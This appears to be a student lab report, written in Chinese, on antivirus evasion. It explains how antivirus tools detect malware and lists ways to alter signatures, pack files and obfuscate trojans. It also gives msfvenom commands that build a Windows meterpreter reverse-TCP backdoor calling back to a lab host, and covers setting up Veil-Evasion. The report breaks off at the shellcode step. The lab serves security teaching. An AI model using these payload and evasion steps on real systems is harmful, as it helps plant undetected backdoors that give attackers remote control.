实践内容
(1)理解免杀技术原理
(2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
(成功实现了免杀的。如何做成功的简单语言描述即可,不要截图、指令。与杀软共生的结果验证要截图。)
(3)通过组合应用各种技术实现恶意代码免杀
(4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1 基础问题回答
1.1 杀软是如何检测出恶意代码的?
基于特征码检测
特征码为能识别一个程序是一个病毒的一段不大于64字节的特征串,每个程序都会有一段特征码,或者说是一段数据。对恶意代码的特征码进行匹配,匹配到即为恶意代码。
启发式恶意软件检测
杀毒软件检测某个程序在系统中做的事情,是不是恶意代码做的事情。以此来判断是不是恶意代码
基于行为的恶意软件检测
根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。其也是启发式的一种,可以理解为加了监控模式的启发式检测
1.2 免杀是做什么?
文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描,所得结果。
内存的免杀和查杀:判断的方法1)运行后,用杀毒软件的内存查杀功能.
2)用OD载入,用杀毒软件的内存查杀功能
免杀是计算机恶意代码防止被反病毒软件发现并隔离删除的一种技术,通常为对恶意代码进行一些隐藏、包装等操作。使杀软不能杀这个病毒,木马 。
1.3 免杀的基本方法有哪些?
给病毒,木马加壳,加花,修改特征码
目前流行的特征码修改方法作个总节。
方法一:直接修改特征码的十六进制法
1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.
2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能否正常使用.
方法二:修改字符串大小写法
1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
2.适用范围:特征码所对应的内容必需是字符串,否则不能成功.
方法三:等价替换法
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.
如果和我一样对汇编不懂的可以去查查8080汇编手册.
方法四:指令顺序调换法
1.修改方法:把具有特征码的代码顺序互换一下.
2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行
方法五:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.
木马免杀的综合修改方法
文件免杀方法:
1.加冷门壳
2.加花指令
3.改程序入口点
4.改木马文件特征码的5种常用方法
5.还有其它的几种免杀修改技巧
内存免杀方法:
修改内存特征码:
方法1>直接修改特征码的十六进制法
方法2>修改字符串大小写法
方法3>等价替换法
方法4>指令顺序调换法
方法5>通用跳转法
实践过程
实验环境
靶机:
系统:WindowsXP
杀软:金山毒霸 11.9.0
攻击机:
Kali 虚拟机的IP
利用上次实验的后门程序,用msf对其进行编码:
Msfvenom是Metasploit平台下用来编码payloads免杀的工具
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=1120 -f exe > 20179225_backdoor.exe
将其上传到https://www.virustotal.com/ http://www.virscan.org/
使用Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
在开始我们已经安装过了
输入veil-evasion
显示未找到命令,重新进行安装。
更新源安装:
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
apt-get update
apt-get install veil-evasion
git克隆安装:
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/setup
./install-addons.sh
但是依然显示veil-evasion
无奈之下尝试veil
可能由于网络的原因,花费一天的时间终于将veil安装成功。
命令行中输入veil
,后在veil中输入命令use evasion
,设置payload使用命令use python/meterpreter/rev_tcp.py
利用shellcode编程实现免杀
在Kali上使用命令生成一个c语言格式的Shellcode数组。
输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=1120 -f c